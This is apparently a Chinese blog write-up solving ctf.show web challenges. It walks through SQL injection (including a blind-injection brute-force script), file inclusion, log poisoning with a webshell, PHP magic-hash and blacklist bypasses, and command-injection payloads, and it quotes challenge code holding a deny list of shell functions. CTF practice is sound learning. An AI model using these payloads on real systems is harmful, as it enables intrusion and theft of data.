WEB
web2
首先题目提示是sql注入,进入之后是个登录框
用万能密码注入,成功登录
再在bp中注入,查看回显点
回显点为2位置,于是查看当前数据库名
当前数据库名为web2,再查看数据库中表名
刚开始误以为有个表名叫flag欢迎你,后来发现理解错了,其实两个表分别为flag和user
再查字段名,注意表名要加单引号
看到有一个字段flag,就是它了
我只写了一种方法,但是在此引用一下一位大佬的博客,写得很详细
https://www.cnblogs.com/anweilx/p/12360392.html
web3
打开靶机,提示为文件包含漏洞
测试一下
https://d7c9f3d7-64d2-4110-a14b-74c61f65893c.chall.ctf.show/?url=../../../../../../../../../../etc/passwd
测试成功,确实存在文件包含漏洞
此题考的是PHP伪协议+文件包含,实现任意命令执行
构造url并抓取数据包
https://d7c9f3d7-64d2-4110-a14b-74c61f65893c.chall.ctf.show/?url=php://input
开始试验,查询当前目录下的文件结构
查看ctf_go_go_go文件内容
web4
打开靶机,和上题样子一样
但是按照上题的方法,却会报错
这题是要通过日志文件,来写入一句话木马
首先,查看一下日志文件/?url=/var/log/nginx/access.log
可以看到日志文件中保存了网站的访问记录,包括HTTP请求行,Referer,User-Agent等HTTP请求的信息,然后用bp抓包,再在User-Agent里面写入一句话木马
然后蚁剑连接日志目录
使用蚁剑的文件管理功能,www目录下有一个flag.txt文件,很明显flag就在这里面
打开就有flag了
web5
题目代码并不难,大体意思就是说:要满足v1是字母,v2是数字,并且v1和v2的哈希值相等,这样flag才会出来
这题考的是md5值相等值不相等,PHP有个隐式转换的缺陷,PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。当然,安全的比较方法是三个=,也就是“===”。
构造例子/?v1=QNKCDZO&v2=240610708
得到flag
web6
这题和web2不同的就是,过滤了空格,只要把web2的空格全都换成/**/其他都不变
红包题 耗子尾汁
又是一道php代码审计的题目
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-11-30 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-11-30 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); highlight_file(__FILE__); $a = $_GET['a']; $b = $_GET['b']; function CTFSHOW_36_D($a,$b){ $dis = array("var_dump","exec","readfile","highlight_file","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents",""); $a = strtolower($a); if (!in_array($a,$dis,true)) { forward_static_call_array($a,$b); }else{ echo 'hacker'; } } CTFSHOW_36_D($a,$b); echo "rlezphp!!!"; hackerrlezphp!!!
可以看到a不能在dis这个数组里,否则就会报错,这里主要考察的就是forward_static_call_array这个函数
forward_static_call_array — Call a static method and pass the arguments as array,也就是可以调用静态方法并且将数组作为参数
因此有两种方法
一种是:先a=\system&b[]=ls 之后a=\system&b[]=cat flag.php
还有一种套娃:a=forward_static_call_array&b[]=system&b[1][0]=ls
[nl]难了
同样是一道php代码审计,代码也比较简单
<?php show_source(__FILE__); error_reporting(0); if(strlen($_GET[1])<4){ echo shell_exec($_GET[1]); } else{ echo "hack!!!"; } ?> //by Firebasky //by Firebasky
意思就是说传入的1参数的值的长度要小于4,才能执行
应该是是RCE读取当前php,要求指令长度小于4,只能用nl读取
Linux中可以将文件名作为函数和参数,通过星号通配执行
先新建一个名称为nl的文件作为指令
?1=>nl
右尖括号表示将右尖括号左边的内容写入右边文件,所以就相当于新建了一个nl空文件
接着读取当前的php,我们预期是执行nl xxx.php,这里由于不知道这个php的名称,无法执行
?1=*>z
这个操作的意思是:根目录下有两个文件,一个是我们新建的nl,还有一个是当前的xxx.php
将这两个文件写入z文件,最后访问这个z文件就会自动执行nl xxx.php
访问http://(url)/z时,可下载php到本地,包含了flag
一.萌新赛
1.签到题
命令执行漏洞,构造payload使前后语句闭合,如下:
/?url=127.0.0.1;ls;com(com可以任意替换)
然后发现两个文件,一个是flag还有一个就是index.php
然后再构造payoad:
/?url=127.0.0.1;cat flag;com
得到flag
2.萌新记忆
进去后依次点了下那四个栏目,然后不知不觉就读完了。。但是没有发现什么 就用御剑扫了一下,发现一个可疑url:
http://b589147c-b05f-4b71-8883-5789b4a8e5e2.challenge.ctf.show:8080/admin/
进去后是一个登录页面,怀疑是sql注入,试了几个:
'||'a'<'b 密码错误(说明账号对了,也就是我们盲注成功的信息) '||'a'<'a 用户名/密码错误 '||aaaaaaaaaaaaaaaaaaaaa 用户名错误(用户名长度超过20即会此报错)
试了下admin,提示密码错误,说明用户名的确是admin,那么问题就是要输入正确的密码,bool盲注一下:
1'||length(p)<'18 密码错误 成功,说明密码就是17位
然后写个脚本,跑出正确的密码
import requests url = "http://b589147c-b05f-4b71-8883-5789b4a8e5e2.challenge.ctf.show:8080/admin/checklogin.php" letter = "0123456789abcdefghijklmnopqrstuvwxyz" flag = "" for i in range(1, 18): for j in letter: payload = "'||substr(p,{},1)<'{}".format(i, j) data = { 'u': payload, 'p': 1 } res = requests.post(url=url, data=data).text if "密码错误" == res: flag += chr(ord(j)-1) print(flag) break
得到如下:
最后一个即为admin的密码,登录得到flag
3.假赛生
题目如上,看下面一段,可以发现出现flag有几个条件:
其一,name要为admin
其二,get传入参数c,不能被/\w\W*/匹配到、
所以根据题目提示,有两个页面,一个是register.php注册页,还有一个是login.php登录页面
于是我们注册一个admin,密码随便,得到:
试着注册时在admin后面加个空格,然后就显示注册成功了
所以第一步算是完成,接下来就是登录,然后get传参绕过
\w 匹配包括下划线的任何单词字符。等价于“[A-Za-z0-9_]"。
\W 匹配任何非单词字符。等价于“[^A-Za-z0-9_]"
能输入的都被过滤了,干脆什么都不输,直接来:
http://d263a143-c721-4698-8b98-0bb044d014a5.challenge.ctf.show:8080/index.php?c=
然后就得到flag了
本文来自博客园,作者:Athena-ydy,转载请注明原文链接:https://www.cnblogs.com/Athena-ydy/p/15181051.html
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 单线程的Redis速度为什么快?
· 展开说说关于C#中ORM框架的用法!
· Pantheons:用 TypeScript 打造主流大模型对话的一站式集成库
· SQL Server 2025 AI相关能力初探
· 为什么 退出登录 或 修改密码 无法使 token 失效